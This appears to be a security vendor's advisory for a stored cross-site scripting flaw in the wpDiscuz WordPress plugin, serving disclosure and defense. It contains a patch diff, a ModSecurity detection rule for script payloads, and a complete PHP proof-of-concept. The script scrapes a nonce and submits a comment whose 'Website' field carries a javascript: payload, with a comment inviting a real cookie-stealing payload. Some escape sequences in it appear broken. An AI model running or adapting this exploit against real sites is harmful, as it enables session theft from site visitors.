-    $currentUserEmail = isset($_COOKIE["comment_author_email_" . COOKIEHASH]) ? $_COOKIE["comment_author_email_" . COOKIEHASH] : "";
+    $currentUserEmail = isset($_COOKIE["comment_author_email_" . COOKIEHASH]) ? sanitize_email(wp_unslash($_COOKIE["comment_author_email_" . COOKIEHASH])) : "";
 }

 if ($action && $currentUserEmail) {
@@ -59,4 +59,4 @@
         <div class='wpd-item'><?php echo esc_html($this->options->getPhrase("wc_user_settings_no_data")); ?></div>
         <?php
     }
-}
 No newline at end of file
+}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-9148
# Prevents unauthenticated stored XSS via the 'Website' field in wpDiscuz comment submission
# Blocks payloads attempting to inject javascript: or event handlers in the wc_website parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20269148,phase:2,deny,status:403,chain,msg:'CVE-2026-9148 wpDiscuz Stored XSS via Website Field',severity:'CRITICAL',tag:'CVE-2026-9148'"
  SecRule ARGS_POST:action "@streq wpdAddComment" "chain"
    SecRule ARGS_POST:wc_website "@rx (?i)(?:javascript|vbscript|data):|on(?:load|click|mouseover|mouseout|error|focus|blur|submit|change)=" "t:urlDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9148 - Comments <= 7.6.56 - Unauthenticated Stored Cross-Site Scripting via 'Website' Field

// Configuration: Set the target WordPress site URL
$target_url = 'http://example.com'; // Change to the target WordPress URL
$post_id = 1; // The ID of a post where comments are enabled

// Malicious payload: JavaScript that steals cookies (XSS)
$payload = "javascript:alert(1)"; // Simple alert for demonstration; replace with actual payload

// Step 1: Get the wpDiscuz nonce from the target post page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/?p=' . $post_id);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Extract the wpdiscuz_nonce from the page (often in a hidden input)
preg_match('/<input[^>]*id="wpdiscuz_nonce"[^>]*value="([^"]+)"/i', $response, $matches);
if (empty($matches[1])) {
    // Try other patterns
    preg_match('/<input[^>]*name="wpdiscuz_nonce"[^>]*value="([^"]+)"/i', $response, $matches);
}
if (empty($matches[1])) {
    die('[!] Could not extract wpdiscuz_nonce. Ensure wpDiscuz is active and comments are open on the target post.');
}
$nonce = $matches[1];
echo "[*] Found nonce: $noncen";

// Step 2: Submit a comment with the malicious website field
$post_data = [
    'action' => 'wpdAddComment',
    'wpdiscuz_nonce' => $nonce,
    'wc_comment_title' => 'Test Comment',
    'wc_comment_text' => 'This is a test comment for CVE-2026-9148.',
    'wc_name' => 'TestUser',
    'wc_email' => 'attacker@example.com', // Can be a fake email; site may accept
    'wc_website' => $payload, // The XSS payload in the 'Website' field
    'postId' => $post_id,
    'comment_parent' => 0,
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'X-Requested-With: XMLHttpRequest',
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] HTTP Response Code: $http_coden";
echo "[*] Response body: $responsen";

// Check if the comment was added (the response typically contains 'success:1' and the comment HTML)
$json = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && !empty($json['success']) && $json['success'] == 1) {
    echo "[+] Comment submitted successfully! The XSS payload will execute when viewing the post.n";
    echo "[+] Payload used: $payloadn";
    echo "[+] Visit $target_url/?p=$post_id to see the injected script.n";
} else {
    echo "[!] Comment submission may have failed. Check the response for details.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.